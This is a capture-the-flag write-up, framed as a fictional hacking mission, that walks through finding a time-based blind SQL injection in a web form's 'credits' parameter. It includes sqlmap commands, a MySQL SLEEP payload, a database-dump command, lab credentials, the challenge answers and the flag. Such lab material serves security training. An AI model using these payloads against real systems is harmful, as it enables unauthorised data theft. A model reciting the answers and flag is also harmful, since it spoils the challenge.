

## **Mission Name**

The Cleanse

## **Historical Context**

Ethan utilized a level 7 datacard (VIP) for entry into the Skytech facility, aiming to modify health records, vaccine qualifications, and other details as requested by a client in the Lazarus Citizens database.

## **Overview of Technical Approach**

Ethan is set to penetrate the Lazarus Citizens system within the confines of Skytech. The operation involves mimicking the environment through a webpage that hosts various forms for querying and updating personal and public data in the system. Ethan's task is to exploit this vulnerability to execute modifications mandated by the level 7 Datacard client in the Lazarus Citizens records.

## **Briefing on the Mission**

Ethan is to infiltrate the Skytech citizens' database using level 7 citizen credentials, aiming to alter his data and seize control of the database, subsequently providing evidence of the accomplishment.

## **Detailed Mission Brief**

Ethan will infiltrate Skytech using a VIP level 7 datacard to alter health records, vaccine status, and additional information as per a client's request in the Lazarus Citizens database.

## **Operational Venue**

Sylvarcon | Antum District | Hacker

## Tools

- User: eld
- Password: 3ldr1chR1cc0rdd

## Questions

What formulary has a vulnerability?

- Information

What type of vulnerability you have found in the formulary?

- SQLi

What is the parameter vulnerable?

- credits

## Hints

- Search for web vulnerabilities in the form "information user"
- Use SQLMap
- Parameter credits

## Categories

Enumeration

Web

SQLi

## Write Up

The website is robust and cannot be compromised using Eld credentials. To overcome the challenge, users are tasked with identifying susceptible inputs within the URL



Figure 1

A vulnerability has been identified at <http://xxxxx/es/skytech/information>.

Capture a request using curl and leverage sqlmap to pinpoint the vulnerable parameter:

- `root@kali:/tmp# sqlmap -r sql_test -p credits`

```
[*] starting @ 05:57:08 /2021-01-09/

[05:57:08] [INFO] parsing HTTP request from 'sql_test'
[05:57:08] [INFO] resuming back-end DBMS 'mysql'
[05:57:08] [INFO] testing connection to the target URL
got a 302 redirect to 'http://skytech.dev.threatia.io:80/es/skytech/information'. Do you want to follow? [Y/n]
n
got a refresh intent (redirect like response common to login pages) to '/es/skytech/information'. Do you
want to apply it from now on? [Y/n] y
---
Parameter: credits (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
```

```
Payload: health=hello&credits=2000' AND (SELECT 2032 FROM (SELECT(SLEEP(5)))hZMn) AND 'wotz'='wotz&free=
```

To exploit the identified vulnerability, use sqlmap with the following command, ensuring to correct the syntax by specifying the parameter `credits` only once and adding the `--dump` option to extract data from the database:

- `sqlmap -r sql_test -p credits --dump`

This command tells sqlmap to read the request from the file `sql\_test`, targets the parameter `credits` for testing, and attempts to dump the database contents, leveraging the discovered SQL injection vulnerability.

## Flag Information

flag{SQLi\_sometimes\_1s\_taugh}